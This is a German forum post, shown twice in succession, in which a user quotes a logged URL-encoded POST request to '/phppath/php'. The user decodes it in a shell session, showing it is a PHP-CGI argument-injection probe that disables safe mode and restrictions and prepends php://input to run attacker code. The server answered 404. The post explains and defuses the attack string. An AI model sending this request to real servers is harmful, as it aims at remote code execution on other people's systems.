403
17.06.13, 22:34
Hi
Folgender *gaehn* Request erreichte mein Log:
88.208.200.15 - - [17/Jun/2013:20:27:01 +0200] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69 %6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F %6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69 %6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D% 64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6 E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%6 4%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%7 2%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F% 2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
kurze Demystifizierung:
,su - 403
[403@lulzmachine ~]$ id
uid=1010(403) gid=1010(403) groups=1010(403)
[403@lulzmachine ~]$ echo -e "%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69 %6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F %6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69 %6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D% 64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6 E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%6 4%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%7 2%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F% 2F%69%6E%70%75%74+%2D%6E" | sed 's/%/\\x/g'| tr -d '+'| tee -a sc
\x70\x68\x70\x70\x61\x74\x68/\x70\x68\x70?\x2D\x64\x61\x6C\x6C\x6F\x77\x5F\x75\ x72\x6C\x5F\x69\x6E\x63\x6C\x75\x64\x65\x3D\x6F\x6 E\x2D\x64\x73\x61\x66\x65\x5F\x6D\x6F\x64\x65\x3D\ x6F\x66\x66\x2D\x64\x73\x75\x68\x6F\x73\x69\x6E\x2 E\x73\x69\x6D\x75\x6C\x61\x74\x69\x6F\x6E\x3D\x6F\ x6E\x2D\x64\x64\x69\x73\x61\x62\x6C\x65\x5F\x66\x7 5\x6E\x63\x74\x69\x6F\x6E\x73\x3D\x22\x22\x2D\x64\ x6F\x70\x65\x6E\x5F\x62\x61\x73\x65\x64\x69\x72\x3 D\x6E\x6F\x6E\x65\x2D\x64\x61\x75\x74\x6F\x5F\x70\ x72\x65\x70\x65\x6E\x64\x5F\x66\x69\x6C\x65\x3D\x7 0\x68\x70\x3A\x2F\x2F\x69\x6E\x70\x75\x74\x2D\x6E
[403@lulzmachine ~]$ less sc
[403@lulzmachine ~]$ sh sc
phppath/php?-dallow_url_include=on-dsafe_mode=off-dsuhosin.simulation=on-ddisable_functions=""-dopen_basedir=none-dauto_prepend_file=php://input-n
[403@lulzmachine ~]$ exit
Gruss
403 :ugly:
Folgender *gaehn* Request erreichte mein Log:
88.208.200.15 - - [17/Jun/2013:20:27:01 +0200] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69 %6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F %6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69 %6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D% 64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6 E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%6 4%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%7 2%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F% 2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
kurze Demystifizierung:
,su - 403
[403@lulzmachine ~]$ id
uid=1010(403) gid=1010(403) groups=1010(403)
[403@lulzmachine ~]$ echo -e "%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69 %6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F %6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69 %6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D% 64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6 E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%6 4%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%7 2%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F% 2F%69%6E%70%75%74+%2D%6E" | sed 's/%/\\x/g'| tr -d '+'| tee -a sc
\x70\x68\x70\x70\x61\x74\x68/\x70\x68\x70?\x2D\x64\x61\x6C\x6C\x6F\x77\x5F\x75\ x72\x6C\x5F\x69\x6E\x63\x6C\x75\x64\x65\x3D\x6F\x6 E\x2D\x64\x73\x61\x66\x65\x5F\x6D\x6F\x64\x65\x3D\ x6F\x66\x66\x2D\x64\x73\x75\x68\x6F\x73\x69\x6E\x2 E\x73\x69\x6D\x75\x6C\x61\x74\x69\x6F\x6E\x3D\x6F\ x6E\x2D\x64\x64\x69\x73\x61\x62\x6C\x65\x5F\x66\x7 5\x6E\x63\x74\x69\x6F\x6E\x73\x3D\x22\x22\x2D\x64\ x6F\x70\x65\x6E\x5F\x62\x61\x73\x65\x64\x69\x72\x3 D\x6E\x6F\x6E\x65\x2D\x64\x61\x75\x74\x6F\x5F\x70\ x72\x65\x70\x65\x6E\x64\x5F\x66\x69\x6C\x65\x3D\x7 0\x68\x70\x3A\x2F\x2F\x69\x6E\x70\x75\x74\x2D\x6E
[403@lulzmachine ~]$ less sc
[403@lulzmachine ~]$ sh sc
phppath/php?-dallow_url_include=on-dsafe_mode=off-dsuhosin.simulation=on-ddisable_functions=""-dopen_basedir=none-dauto_prepend_file=php://input-n
[403@lulzmachine ~]$ exit
Gruss
403 :ugly: